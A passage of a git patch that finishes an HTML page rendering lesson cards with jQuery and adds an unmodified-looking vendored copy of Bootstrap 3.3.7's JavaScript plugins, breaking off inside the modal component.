++ $("#representations").append('<div class="card card-block" style="height: 10%; background-color: #9C27B0; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + representation_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ }else{
++ $("#representations").append('<div class="card card-block" style="height: 10%; background-color: #9C27B0; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + representation_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ }
++ }
++ }
++ }
++ }
++ }
++ }
++ }
++ }
++ }
++ }
++ }
++ }else{
++ $("#representations").append('<p class="bg-danger">Scheinbar gehtdein Internet nicht :/</p>')
++ }
++ })
++ </script>
++ <!-- Include all compiled plugins (below), or include individual files as needed -->
++ <script src="js/bootstrap/bootstrap.min.js"></script>
++ <script src="https://cdn.rawgit.com/HubSpot/tether/v1.3.4/dist/js/tether.min.js"></script>
++ <script src="https://cdn.rawgit.com/FezVrasta/bootstrap-material-design/dist/dist/bootstrap-material-design.iife.min.js"></script>
++ <!-- IE10 viewport hack for Surface/desktop Windows 8 bug -->
++ <script src="https://maxcdn.bootstrapcdn.com/js/ie10-viewport-bug-workaround.js"></script>
++ </body>
++</html>
+diff --git a/app/js/bootstrap/bootstrap.js b/app/js/bootstrap/bootstrap.js
+new file mode 100644
+index 0000000..8a2e99a
+--- /dev/null
++++ b/app/js/bootstrap/bootstrap.js
+@@ -0,0 +1,2377 @@
++/*!
++ * Bootstrap v3.3.7 (http://getbootstrap.com)
++ * Copyright 2011-2016 Twitter, Inc.
++ * Licensed under the MIT license
++ */
++
++if (typeof jQuery === 'undefined') {
++ throw new Error('Bootstrap\'s JavaScript requires jQuery')
++}
++
+++function ($) {
++ 'use strict';
++ var version = $.fn.jquery.split(' ')[0].split('.')
++ if ((version[0] < 2 && version[1] < 9) || (version[0] == 1 && version[1] == 9 && version[2] < 1) || (version[0] > 3)) {
++ throw new Error('Bootstrap\'s JavaScript requires jQuery version 1.9.1 or higher, but lower than version 4')
++ }
++}(jQuery);
++
++/* ========================================================================
++ * Bootstrap: transition.js v3.3.7
++ * http://getbootstrap.com/javascript/#transitions
++ * ========================================================================
++ * Copyright 2011-2016 Twitter, Inc.
++ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
++ * ======================================================================== */
++
++
+++function ($) {
++ 'use strict';
++
++ // CSS TRANSITION SUPPORT (Shoutout: http://www.modernizr.com/)
++ // ============================================================
++
++ function transitionEnd() {
++ var el = document.createElement('bootstrap')
++
++ var transEndEventNames = {
++ WebkitTransition : 'webkitTransitionEnd',
++ MozTransition : 'transitionend',
++ OTransition : 'oTransitionEnd otransitionend',
++ transition : 'transitionend'
++ }
++
++ for (var name in transEndEventNames) {
++ if (el.style[name] !== undefined) {
++ return { end: transEndEventNames[name] }
++ }
++ }
++
++ return false // explicit for ie8 ( ._.)
++ }
++
++ // http://blog.alexmaccaw.com/css-transitions
++ $.fn.emulateTransitionEnd = function (duration) {
++ var called = false
++ var $el = this
++ $(this).one('bsTransitionEnd', function () { called = true })
++ var callback = function () { if (!called) $($el).trigger($.support.transition.end) }
++ setTimeout(callback, duration)
++ return this
++ }
++
++ $(function () {
++ $.support.transition = transitionEnd()
++
++ if (!$.support.transition) return
++
++ $.event.special.bsTransitionEnd = {
++ bindType: $.support.transition.end,
++ delegateType: $.support.transition.end,
++ handle: function (e) {
++ if ($(e.target).is(this)) return e.handleObj.handler.apply(this, arguments)
++ }
++ }
++ })
++
++}(jQuery);
++
++/* ========================================================================
++ * Bootstrap: alert.js v3.3.7
++ * http://getbootstrap.com/javascript/#alerts
++ * ========================================================================
++ * Copyright 2011-2016 Twitter, Inc.
++ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
++ * ======================================================================== */
++
++
+++function ($) {
++ 'use strict';
++
++ // ALERT CLASS DEFINITION
++ // ======================
++
++ var dismiss = '[data-dismiss="alert"]'
++ var Alert = function (el) {
++ $(el).on('click', dismiss, this.close)
++ }
++
++ Alert.VERSION = '3.3.7'
++
++ Alert.TRANSITION_DURATION = 150
++
++ Alert.prototype.close = function (e) {
++ var $this = $(this)
++ var selector = $this.attr('data-target')
++
++ if (!selector) {
++ selector = $this.attr('href')
++ selector = selector && selector.replace(/.*(?=#[^\s]*$)/, '') // strip for ie7
++ }
++
++ var $parent = $(selector === '#' ? [] : selector)
++
++ if (e) e.preventDefault()
++
++ if (!$parent.length) {
++ $parent = $this.closest('.alert')
++ }
++
++ $parent.trigger(e = $.Event('close.bs.alert'))
++
++ if (e.isDefaultPrevented()) return
++
++ $parent.removeClass('in')
++
++ function removeElement() {
++ // detach from parent, fire event then clean up data
++ $parent.detach().trigger('closed.bs.alert').remove()
++ }
++
++ $.support.transition && $parent.hasClass('fade') ?
++ $parent
++ .one('bsTransitionEnd', removeElement)
++ .emulateTransitionEnd(Alert.TRANSITION_DURATION) :
++ removeElement()
++ }
++
++
++ // ALERT PLUGIN DEFINITION
++ // =======================
++
++ function Plugin(option) {
++ return this.each(function () {
++ var $this = $(this)
++ var data = $this.data('bs.alert')
++
++ if (!data) $this.data('bs.alert', (data = new Alert(this)))
++ if (typeof option == 'string') data[option].call($this)
++ })
++ }
++
++ var old = $.fn.alert
++
++ $.fn.alert = Plugin
++ $.fn.alert.Constructor = Alert
++
++
++ // ALERT NO CONFLICT
++ // =================
++
++ $.fn.alert.noConflict = function () {
++ $.fn.alert = old
++ return this
++ }
++
++
++ // ALERT DATA-API
++ // ==============
++
++ $(document).on('click.bs.alert.data-api', dismiss, Alert.prototype.close)
++
++}(jQuery);
++
++/* ========================================================================
++ * Bootstrap: button.js v3.3.7
++ * http://getbootstrap.com/javascript/#buttons
++ * ========================================================================
++ * Copyright 2011-2016 Twitter, Inc.
++ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
++ * ======================================================================== */
++
++
+++function ($) {
++ 'use strict';
++
++ // BUTTON PUBLIC CLASS DEFINITION
++ // ==============================
++
++ var Button = function (element, options) {
++ this.$element = $(element)
++ this.options = $.extend({}, Button.DEFAULTS, options)
++ this.isLoading = false
++ }
++
++ Button.VERSION = '3.3.7'
++
++ Button.DEFAULTS = {
++ loadingText: 'loading...'
++ }
++
++ Button.prototype.setState = function (state) {
++ var d = 'disabled'
++ var $el = this.$element
++ var val = $el.is('input') ? 'val' : 'html'
++ var data = $el.data()
++
++ state += 'Text'
++
++ if (data.resetText == null) $el.data('resetText', $el[val]())
++
++ // push to event loop to allow forms to submit
++ setTimeout($.proxy(function () {
++ $el[val](data[state] == null ? this.options[state] : data[state])
++
++ if (state == 'loadingText') {
++ this.isLoading = true
++ $el.addClass(d).attr(d, d).prop(d, true)
++ } else if (this.isLoading) {
++ this.isLoading = false
++ $el.removeClass(d).removeAttr(d).prop(d, false)
++ }
++ }, this), 0)
++ }
++
++ Button.prototype.toggle = function () {
++ var changed = true
++ var $parent = this.$element.closest('[data-toggle="buttons"]')
++
++ if ($parent.length) {
++ var $input = this.$element.find('input')
++ if ($input.prop('type') == 'radio') {
++ if ($input.prop('checked')) changed = false
++ $parent.find('.active').removeClass('active')
++ this.$element.addClass('active')
++ } else if ($input.prop('type') == 'checkbox') {
++ if (($input.prop('checked')) !== this.$element.hasClass('active')) changed = false
++ this.$element.toggleClass('active')
++ }
++ $input.prop('checked', this.$element.hasClass('active'))
++ if (changed) $input.trigger('change')
++ } else {
++ this.$element.attr('aria-pressed', !this.$element.hasClass('active'))
++ this.$element.toggleClass('active')
++ }
++ }
++
++
++ // BUTTON PLUGIN DEFINITION
++ // ========================
++
++ function Plugin(option) {
++ return this.each(function () {
++ var $this = $(this)
++ var data = $this.data('bs.button')
++ var options = typeof option == 'object' && option
++
++ if (!data) $this.data('bs.button', (data = new Button(this, options)))
++
++ if (option == 'toggle') data.toggle()
++ else if (option) data.setState(option)
++ })
++ }
++
++ var old = $.fn.button
++
++ $.fn.button = Plugin
++ $.fn.button.Constructor = Button
++
++
++ // BUTTON NO CONFLICT
++ // ==================
++
++ $.fn.button.noConflict = function () {
++ $.fn.button = old
++ return this
++ }
++
++
++ // BUTTON DATA-API
++ // ===============
++
++ $(document)
++ .on('click.bs.button.data-api', '[data-toggle^="button"]', function (e) {
++ var $btn = $(e.target).closest('.btn')
++ Plugin.call($btn, 'toggle')
++ if (!($(e.target).is('input[type="radio"], input[type="checkbox"]'))) {
++ // Prevent double click on radios, and the double selections (so cancellation) on checkboxes
++ e.preventDefault()
++ // The target component still receive the focus
++ if ($btn.is('input,button')) $btn.trigger('focus')
++ else $btn.find('input:visible,button:visible').first().trigger('focus')
++ }
++ })
++ .on('focus.bs.button.data-api blur.bs.button.data-api', '[data-toggle^="button"]', function (e) {
++ $(e.target).closest('.btn').toggleClass('focus', /^focus(in)?$/.test(e.type))
++ })
++
++}(jQuery);
++
++/* ========================================================================
++ * Bootstrap: carousel.js v3.3.7
++ * http://getbootstrap.com/javascript/#carousel
++ * ========================================================================
++ * Copyright 2011-2016 Twitter, Inc.
++ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
++ * ======================================================================== */
++
++
+++function ($) {
++ 'use strict';
++
++ // CAROUSEL CLASS DEFINITION
++ // =========================
++
++ var Carousel = function (element, options) {
++ this.$element = $(element)
++ this.$indicators = this.$element.find('.carousel-indicators')
++ this.options = options
++ this.paused = null
++ this.sliding = null
++ this.interval = null
++ this.$active = null
++ this.$items = null
++
++ this.options.keyboard && this.$element.on('keydown.bs.carousel', $.proxy(this.keydown, this))
++
++ this.options.pause == 'hover' && !('ontouchstart' in document.documentElement) && this.$element
++ .on('mouseenter.bs.carousel', $.proxy(this.pause, this))
++ .on('mouseleave.bs.carousel', $.proxy(this.cycle, this))
++ }
++
++ Carousel.VERSION = '3.3.7'
++
++ Carousel.TRANSITION_DURATION = 600
++
++ Carousel.DEFAULTS = {
++ interval: 5000,
++ pause: 'hover',
++ wrap: true,
++ keyboard: true
++ }
++
++ Carousel.prototype.keydown = function (e) {
++ if (/input|textarea/i.test(e.target.tagName)) return
++ switch (e.which) {
++ case 37: this.prev(); break
++ case 39: this.next(); break
++ default: return
++ }
++
++ e.preventDefault()
++ }
++
++ Carousel.prototype.cycle = function (e) {
++ e || (this.paused = false)
++
++ this.interval && clearInterval(this.interval)
++
++ this.options.interval
++ && !this.paused
++ && (this.interval = setInterval($.proxy(this.next, this), this.options.interval))
++
++ return this
++ }
++
++ Carousel.prototype.getItemIndex = function (item) {
++ this.$items = item.parent().children('.item')
++ return this.$items.index(item || this.$active)
++ }
++
++ Carousel.prototype.getItemForDirection = function (direction, active) {
++ var activeIndex = this.getItemIndex(active)
++ var willWrap = (direction == 'prev' && activeIndex === 0)
++ || (direction == 'next' && activeIndex == (this.$items.length - 1))
++ if (willWrap && !this.options.wrap) return active
++ var delta = direction == 'prev' ? -1 : 1
++ var itemIndex = (activeIndex + delta) % this.$items.length
++ return this.$items.eq(itemIndex)
++ }
++
++ Carousel.prototype.to = function (pos) {
++ var that = this
++ var activeIndex = this.getItemIndex(this.$active = this.$element.find('.item.active'))
++
++ if (pos > (this.$items.length - 1) || pos < 0) return
++
++ if (this.sliding) return this.$element.one('slid.bs.carousel', function () { that.to(pos) }) // yes, "slid"
++ if (activeIndex == pos) return this.pause().cycle()
++
++ return this.slide(pos > activeIndex ? 'next' : 'prev', this.$items.eq(pos))
++ }
++
++ Carousel.prototype.pause = function (e) {
++ e || (this.paused = true)
++
++ if (this.$element.find('.next, .prev').length && $.support.transition) {
++ this.$element.trigger($.support.transition.end)
++ this.cycle(true)
++ }
++
++ this.interval = clearInterval(this.interval)
++
++ return this
++ }
++
++ Carousel.prototype.next = function () {
++ if (this.sliding) return
++ return this.slide('next')
++ }
++
++ Carousel.prototype.prev = function () {
++ if (this.sliding) return
++ return this.slide('prev')
++ }
++
++ Carousel.prototype.slide = function (type, next) {
++ var $active = this.$element.find('.item.active')
++ var $next = next || this.getItemForDirection(type, $active)
++ var isCycling = this.interval
++ var direction = type == 'next' ? 'left' : 'right'
++ var that = this
++
++ if ($next.hasClass('active')) return (this.sliding = false)
++
++ var relatedTarget = $next[0]
++ var slideEvent = $.Event('slide.bs.carousel', {
++ relatedTarget: relatedTarget,
++ direction: direction
++ })
++ this.$element.trigger(slideEvent)
++ if (slideEvent.isDefaultPrevented()) return
++
++ this.sliding = true
++
++ isCycling && this.pause()
++
++ if (this.$indicators.length) {
++ this.$indicators.find('.active').removeClass('active')
++ var $nextIndicator = $(this.$indicators.children()[this.getItemIndex($next)])
++ $nextIndicator && $nextIndicator.addClass('active')
++ }
++
++ var slidEvent = $.Event('slid.bs.carousel', { relatedTarget: relatedTarget, direction: direction }) // yes, "slid"
++ if ($.support.transition && this.$element.hasClass('slide')) {
++ $next.addClass(type)
++ $next[0].offsetWidth // force reflow
++ $active.addClass(direction)
++ $next.addClass(direction)
++ $active
++ .one('bsTransitionEnd', function () {
++ $next.removeClass([type, direction].join(' ')).addClass('active')
++ $active.removeClass(['active', direction].join(' '))
++ that.sliding = false
++ setTimeout(function () {
++ that.$element.trigger(slidEvent)
++ }, 0)
++ })
++ .emulateTransitionEnd(Carousel.TRANSITION_DURATION)
++ } else {
++ $active.removeClass('active')
++ $next.addClass('active')
++ this.sliding = false
++ this.$element.trigger(slidEvent)
++ }
++
++ isCycling && this.cycle()
++
++ return this
++ }
++
++
++ // CAROUSEL PLUGIN DEFINITION
++ // ==========================
++
++ function Plugin(option) {
++ return this.each(function () {
++ var $this = $(this)
++ var data = $this.data('bs.carousel')
++ var options = $.extend({}, Carousel.DEFAULTS, $this.data(), typeof option == 'object' && option)
++ var action = typeof option == 'string' ? option : options.slide
++
++ if (!data) $this.data('bs.carousel', (data = new Carousel(this, options)))
++ if (typeof option == 'number') data.to(option)
++ else if (action) data[action]()
++ else if (options.interval) data.pause().cycle()
++ })
++ }
++
++ var old = $.fn.carousel
++
++ $.fn.carousel = Plugin
++ $.fn.carousel.Constructor = Carousel
++
++
++ // CAROUSEL NO CONFLICT
++ // ====================
++
++ $.fn.carousel.noConflict = function () {
++ $.fn.carousel = old
++ return this
++ }
++
++
++ // CAROUSEL DATA-API
++ // =================
++
++ var clickHandler = function (e) {
++ var href
++ var $this = $(this)
++ var $target = $($this.attr('data-target') || (href = $this.attr('href')) && href.replace(/.*(?=#[^\s]+$)/, '')) // strip for ie7
++ if (!$target.hasClass('carousel')) return
++ var options = $.extend({}, $target.data(), $this.data())
++ var slideIndex = $this.attr('data-slide-to')
++ if (slideIndex) options.interval = false
++
++ Plugin.call($target, options)
++
++ if (slideIndex) {
++ $target.data('bs.carousel').to(slideIndex)
++ }
++
++ e.preventDefault()
++ }
++
++ $(document)
++ .on('click.bs.carousel.data-api', '[data-slide]', clickHandler)
++ .on('click.bs.carousel.data-api', '[data-slide-to]', clickHandler)
++
++ $(window).on('load', function () {
++ $('[data-ride="carousel"]').each(function () {
++ var $carousel = $(this)
++ Plugin.call($carousel, $carousel.data())
++ })
++ })
++
++}(jQuery);
++
++/* ========================================================================
++ * Bootstrap: collapse.js v3.3.7
++ * http://getbootstrap.com/javascript/#collapse
++ * ========================================================================
++ * Copyright 2011-2016 Twitter, Inc.
++ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
++ * ======================================================================== */
++
++/* jshint latedef: false */
++
+++function ($) {
++ 'use strict';
++
++ // COLLAPSE PUBLIC CLASS DEFINITION
++ // ================================
++
++ var Collapse = function (element, options) {
++ this.$element = $(element)
++ this.options = $.extend({}, Collapse.DEFAULTS, options)
++ this.$trigger = $('[data-toggle="collapse"][href="#' + element.id + '"],' +
++ '[data-toggle="collapse"][data-target="#' + element.id + '"]')
++ this.transitioning = null
++
++ if (this.options.parent) {
++ this.$parent = this.getParent()
++ } else {
++ this.addAriaAndCollapsedClass(this.$element, this.$trigger)
++ }
++
++ if (this.options.toggle) this.toggle()
++ }
++
++ Collapse.VERSION = '3.3.7'
++
++ Collapse.TRANSITION_DURATION = 350
++
++ Collapse.DEFAULTS = {
++ toggle: true
++ }
++
++ Collapse.prototype.dimension = function () {
++ var hasWidth = this.$element.hasClass('width')
++ return hasWidth ? 'width' : 'height'
++ }
++
++ Collapse.prototype.show = function () {
++ if (this.transitioning || this.$element.hasClass('in')) return
++
++ var activesData
++ var actives = this.$parent && this.$parent.children('.panel').children('.in, .collapsing')
++
++ if (actives && actives.length) {
++ activesData = actives.data('bs.collapse')
++ if (activesData && activesData.transitioning) return
++ }
++
++ var startEvent = $.Event('show.bs.collapse')
++ this.$element.trigger(startEvent)
++ if (startEvent.isDefaultPrevented()) return
++
++ if (actives && actives.length) {
++ Plugin.call(actives, 'hide')
++ activesData || actives.data('bs.collapse', null)
++ }
++
++ var dimension = this.dimension()
++
++ this.$element
++ .removeClass('collapse')
++ .addClass('collapsing')[dimension](0)
++ .attr('aria-expanded', true)
++
++ this.$trigger
++ .removeClass('collapsed')
++ .attr('aria-expanded', true)
++
++ this.transitioning = 1
++
++ var complete = function () {
++ this.$element
++ .removeClass('collapsing')
++ .addClass('collapse in')[dimension]('')
++ this.transitioning = 0
++ this.$element
++ .trigger('shown.bs.collapse')
++ }
++
++ if (!$.support.transition) return complete.call(this)
++
++ var scrollSize = $.camelCase(['scroll', dimension].join('-'))
++
++ this.$element
++ .one('bsTransitionEnd', $.proxy(complete, this))
++ .emulateTransitionEnd(Collapse.TRANSITION_DURATION)[dimension](this.$element[0][scrollSize])
++ }
++
++ Collapse.prototype.hide = function () {
++ if (this.transitioning || !this.$element.hasClass('in')) return
++
++ var startEvent = $.Event('hide.bs.collapse')
++ this.$element.trigger(startEvent)
++ if (startEvent.isDefaultPrevented()) return
++
++ var dimension = this.dimension()
++
++ this.$element[dimension](this.$element[dimension]())[0].offsetHeight
++
++ this.$element
++ .addClass('collapsing')
++ .removeClass('collapse in')
++ .attr('aria-expanded', false)
++
++ this.$trigger
++ .addClass('collapsed')
++ .attr('aria-expanded', false)
++
++ this.transitioning = 1
++
++ var complete = function () {
++ this.transitioning = 0
++ this.$element
++ .removeClass('collapsing')
++ .addClass('collapse')
++ .trigger('hidden.bs.collapse')
++ }
++
++ if (!$.support.transition) return complete.call(this)
++
++ this.$element
++ [dimension](0)
++ .one('bsTransitionEnd', $.proxy(complete, this))
++ .emulateTransitionEnd(Collapse.TRANSITION_DURATION)
++ }
++
++ Collapse.prototype.toggle = function () {
++ this[this.$element.hasClass('in') ? 'hide' : 'show']()
++ }
++
++ Collapse.prototype.getParent = function () {
++ return $(this.options.parent)
++ .find('[data-toggle="collapse"][data-parent="' + this.options.parent + '"]')
++ .each($.proxy(function (i, element) {
++ var $element = $(element)
++ this.addAriaAndCollapsedClass(getTargetFromTrigger($element), $element)
++ }, this))
++ .end()
++ }
++
++ Collapse.prototype.addAriaAndCollapsedClass = function ($element, $trigger) {
++ var isOpen = $element.hasClass('in')
++
++ $element.attr('aria-expanded', isOpen)
++ $trigger
++ .toggleClass('collapsed', !isOpen)
++ .attr('aria-expanded', isOpen)
++ }
++
++ function getTargetFromTrigger($trigger) {
++ var href
++ var target = $trigger.attr('data-target')
++ || (href = $trigger.attr('href')) && href.replace(/.*(?=#[^\s]+$)/, '') // strip for ie7
++
++ return $(target)
++ }
++
++
++ // COLLAPSE PLUGIN DEFINITION
++ // ==========================
++
++ function Plugin(option) {
++ return this.each(function () {
++ var $this = $(this)
++ var data = $this.data('bs.collapse')
++ var options = $.extend({}, Collapse.DEFAULTS, $this.data(), typeof option == 'object' && option)
++
++ if (!data && options.toggle && /show|hide/.test(option)) options.toggle = false
++ if (!data) $this.data('bs.collapse', (data = new Collapse(this, options)))
++ if (typeof option == 'string') data[option]()
++ })
++ }
++
++ var old = $.fn.collapse
++
++ $.fn.collapse = Plugin
++ $.fn.collapse.Constructor = Collapse
++
++
++ // COLLAPSE NO CONFLICT
++ // ====================
++
++ $.fn.collapse.noConflict = function () {
++ $.fn.collapse = old
++ return this
++ }
++
++
++ // COLLAPSE DATA-API
++ // =================
++
++ $(document).on('click.bs.collapse.data-api', '[data-toggle="collapse"]', function (e) {
++ var $this = $(this)
++
++ if (!$this.attr('data-target')) e.preventDefault()
++
++ var $target = getTargetFromTrigger($this)
++ var data = $target.data('bs.collapse')
++ var option = data ? 'toggle' : $this.data()
++
++ Plugin.call($target, option)
++ })
++
++}(jQuery);
++
++/* ========================================================================
++ * Bootstrap: dropdown.js v3.3.7
++ * http://getbootstrap.com/javascript/#dropdowns
++ * ========================================================================
++ * Copyright 2011-2016 Twitter, Inc.
++ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
++ * ======================================================================== */
++
++
+++function ($) {
++ 'use strict';
++
++ // DROPDOWN CLASS DEFINITION
++ // =========================
++
++ var backdrop = '.dropdown-backdrop'
++ var toggle = '[data-toggle="dropdown"]'
++ var Dropdown = function (element) {
++ $(element).on('click.bs.dropdown', this.toggle)
++ }
++
++ Dropdown.VERSION = '3.3.7'
++
++ function getParent($this) {
++ var selector = $this.attr('data-target')
++
++ if (!selector) {
++ selector = $this.attr('href')
++ selector = selector && /#[A-Za-z]/.test(selector) && selector.replace(/.*(?=#[^\s]*$)/, '') // strip for ie7
++ }
++
++ var $parent = selector && $(selector)
++
++ return $parent && $parent.length ? $parent : $this.parent()
++ }
++
++ function clearMenus(e) {
++ if (e && e.which === 3) return
++ $(backdrop).remove()
++ $(toggle).each(function () {
++ var $this = $(this)
++ var $parent = getParent($this)
++ var relatedTarget = { relatedTarget: this }
++
++ if (!$parent.hasClass('open')) return
++
++ if (e && e.type == 'click' && /input|textarea/i.test(e.target.tagName) && $.contains($parent[0], e.target)) return
++
++ $parent.trigger(e = $.Event('hide.bs.dropdown', relatedTarget))
++
++ if (e.isDefaultPrevented()) return
++
++ $this.attr('aria-expanded', 'false')
++ $parent.removeClass('open').trigger($.Event('hidden.bs.dropdown', relatedTarget))
++ })
++ }
++
++ Dropdown.prototype.toggle = function (e) {
++ var $this = $(this)
++
++ if ($this.is('.disabled, :disabled')) return
++
++ var $parent = getParent($this)
++ var isActive = $parent.hasClass('open')
++
++ clearMenus()
++
++ if (!isActive) {
++ if ('ontouchstart' in document.documentElement && !$parent.closest('.navbar-nav').length) {
++ // if mobile we use a backdrop because click events don't delegate
++ $(document.createElement('div'))
++ .addClass('dropdown-backdrop')
++ .insertAfter($(this))
++ .on('click', clearMenus)
++ }
++
++ var relatedTarget = { relatedTarget: this }
++ $parent.trigger(e = $.Event('show.bs.dropdown', relatedTarget))
++
++ if (e.isDefaultPrevented()) return
++
++ $this
++ .trigger('focus')
++ .attr('aria-expanded', 'true')
++
++ $parent
++ .toggleClass('open')
++ .trigger($.Event('shown.bs.dropdown', relatedTarget))
++ }
++
++ return false
++ }
++
++ Dropdown.prototype.keydown = function (e) {
++ if (!/(38|40|27|32)/.test(e.which) || /input|textarea/i.test(e.target.tagName)) return
++
++ var $this = $(this)
++
++ e.preventDefault()
++ e.stopPropagation()
++
++ if ($this.is('.disabled, :disabled')) return
++
++ var $parent = getParent($this)
++ var isActive = $parent.hasClass('open')
++
++ if (!isActive && e.which != 27 || isActive && e.which == 27) {
++ if (e.which == 27) $parent.find(toggle).trigger('focus')
++ return $this.trigger('click')
++ }
++
++ var desc = ' li:not(.disabled):visible a'
++ var $items = $parent.find('.dropdown-menu' + desc)
++
++ if (!$items.length) return
++
++ var index = $items.index(e.target)
++
++ if (e.which == 38 && index > 0) index-- // up
++ if (e.which == 40 && index < $items.length - 1) index++ // down
++ if (!~index) index = 0
++
++ $items.eq(index).trigger('focus')
++ }
++
++
++ // DROPDOWN PLUGIN DEFINITION
++ // ==========================
++
++ function Plugin(option) {
++ return this.each(function () {
++ var $this = $(this)
++ var data = $this.data('bs.dropdown')
++
++ if (!data) $this.data('bs.dropdown', (data = new Dropdown(this)))
++ if (typeof option == 'string') data[option].call($this)
++ })
++ }
++
++ var old = $.fn.dropdown
++
++ $.fn.dropdown = Plugin
++ $.fn.dropdown.Constructor = Dropdown
++
++
++ // DROPDOWN NO CONFLICT
++ // ====================
++
++ $.fn.dropdown.noConflict = function () {
++ $.fn.dropdown = old
++ return this
++ }
++
++
++ // APPLY TO STANDARD DROPDOWN ELEMENTS
++ // ===================================
++
++ $(document)
++ .on('click.bs.dropdown.data-api', clearMenus)
++ .on('click.bs.dropdown.data-api', '.dropdown form', function (e) { e.stopPropagation() })
++ .on('click.bs.dropdown.data-api', toggle, Dropdown.prototype.toggle)
++ .on('keydown.bs.dropdown.data-api', toggle, Dropdown.prototype.keydown)
++ .on('keydown.bs.dropdown.data-api', '.dropdown-menu', Dropdown.prototype.keydown)
++
++}(jQuery);
++
++/* ========================================================================
++ * Bootstrap: modal.js v3.3.7
++ * http://getbootstrap.com/javascript/#modals
++ * ========================================================================
++ * Copyright 2011-2016 Twitter, Inc.
++ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
++ * ======================================================================== */
++
++
+++function ($) {
++ 'use strict';
++
++ // MODAL CLASS DEFINITION
++ // ======================
++
++ var Modal = function (element, options) {
++ this.options = options
++ this.$body = $(document.body)
++ this.$element = $(element)
++ this.$dialog = this.$element.find('.modal-dialog')
++ this.$backdrop = null
++ this.isShown = null
++ this.originalBodyPad = null
++ this.scrollbarWidth = 0
++ this.ignoreBackdropClick = false
++
++ if (this.options.remote) {
++ this.$element
++ .find('.modal-content')
++ .load(this.options.remote, $.proxy(function () {
++ this.$element.trigger('loaded.bs.modal')
++ }, this))
++ }
++ }
++
++ Modal.VERSION = '3.3.7'
++
++ Modal.TRANSITION_DURATION = 300
++ Modal.BACKDROP_TRANSITION_DURATION = 150
++
++ Modal.DEFAULTS = {
++ backdrop: true,
++ keyboard: true,
++ show: true
++ }
++
++ Modal.prototype.toggle = function (_relatedTarget) {
++ return this.isShown ? this.hide() : this.show(_relatedTarget)
++ }
++
++ Modal.prototype.show = function (_relatedTarget) {
++ var that = this
++ var e = $.Event('show.bs.modal', { relatedTarget: _relatedTarget })
++
++ this.$element.trigger(e)
++
++ if (this.isShown || e.isDefaultPrevented()) return
++
++ this.isShown = true
++
++ this.checkScrollbar()
++ this.setScrollbar()
++ this.$body.addClass('modal-open')
++
++ this.escape()
++ this.resize()
++
++ this.$element.on('click.dismiss.bs.modal', '[data-dismiss="modal"]', $.proxy(this.hide, this))
++
++ this.$dialog.on('mousedown.dismiss.bs.modal', function () {
++ that.$element.one('mouseup.dismiss.bs.modal', function (e) {
++ if ($(e.target).is(that.$element)) that.ignoreBackdropClick = true
++ })
++ })
++
++ this.backdrop(function () {
++ var transition = $.support.transition && that.$element.hasClass('fade')
++
++ if (!that.$element.parent().length) {
++ that.$element.appendTo(that.$body) // don't move modals dom position
++ }
++
++ that.$element
++ .show()
++ .scrollTop(0)
++
++ that.adjustDialog()
++
++ if (transition) {
++ that.$element[0].offsetWidth // force reflow
++ }
++
++ that.$element.addClass('in')
++
++ that.enforceFocus()
++
++ var e = $.Event('shown.bs.modal', { relatedTarget: _relatedTarget })
++
++ transition ?
++ that.$dialog // wait for modal to slide in
++ .one('bsTransitionEnd', function () {
++ that.$element.trigger('focus').trigger(e)
++ })
++ .emulateTransitionEnd(Modal.TRANSITION_DURATION) :
++ that.$element.trigger('focus').trigger(e)
++ })
++ }
++
++ Modal.prototype.hide = function (e) {
++ if (e) e.preventDefault()
++
++ e = $.Event('hide.bs.modal')
++
++ this.$element.trigger(e)
++
++ if (!this.isShown || e.isDefaultPrevented()) return
++
++ this.isShown = false
++
++ this.escape()
++ this.resize()
++
++ $(document).off('focusin.bs.modal')
++
++ this.$element
++ .removeClass('in')
++ .off('click.dismiss.bs.modal')
++ .off('mouseup.dismiss.bs.modal')
++
++ this.$dialog.off('mousedown.dismiss.bs.modal')
++
++ $.support.transition && this.$element.hasClass('fade') ?
++ this.$element
++ .one('bsTransitionEnd', $.proxy(this.hideModal, this))
++ .emulateTransitionEnd(Modal.TRANSITION_DURATION) :
++ this.hideModal()
++ }
++
++ Modal.prototype.enforceFocus = function () {
++ $(document)
++ .off('focusin.bs.modal') // guard against infinite focus loop
++ .on('focusin.bs.modal', $.proxy(function (e) {
++ if (document !== e.target &&
++ this.$element[0] !== e.target &&
++ !this.$element.has(e.target).length) {
++ this.$element.trigger('focus')
++ }
++ }, this))
++ }
++
++ Modal.prototype.escape = function () {
++ if (this.isShown && this.options.keyboard) {
++ this.$element.on('keydown.dismiss.bs.modal', $.proxy(function (e) {
++ e.which == 27 && this.hide()
++ }, this))
++ } else if (!this.isShown) {
++ this.$element.off('keydown.dismiss.bs.modal')
++ }
++ }
++
++ Modal.prototype.resize = function () {
++ if (this.isShown) {
++ $(window).on('resize.bs.modal', $.proxy(this.handleUpdate, this))
++ } else {
++ $(window).off('resize.bs.modal')
++ }
++ }
++
++ Modal.prototype.hideModal = function () {
++ var that = this
++ this.$element.hide()
++ this.backdrop(function () {
++ that.$body.removeClass('modal-open')
++ that.resetAdjustments()
++ that.resetScrollbar()
++ that.$element.trigger('hidden.bs.modal')
++ })
++ }
++
++ Modal.prototype.removeBackdrop = function () {
++ this.$backdrop && this.$backdrop.remove()
++ this.$backdrop = null
++ }
++
++ Modal.prototype.backdrop = function (callback) {
++ var that = this
++ var animate = this.$element.hasClass('fade') ? 'fade' : ''
++
++ if (this.isShown && this.options.backdrop) {
++ var doAnimate = $.support.transition && animate
++
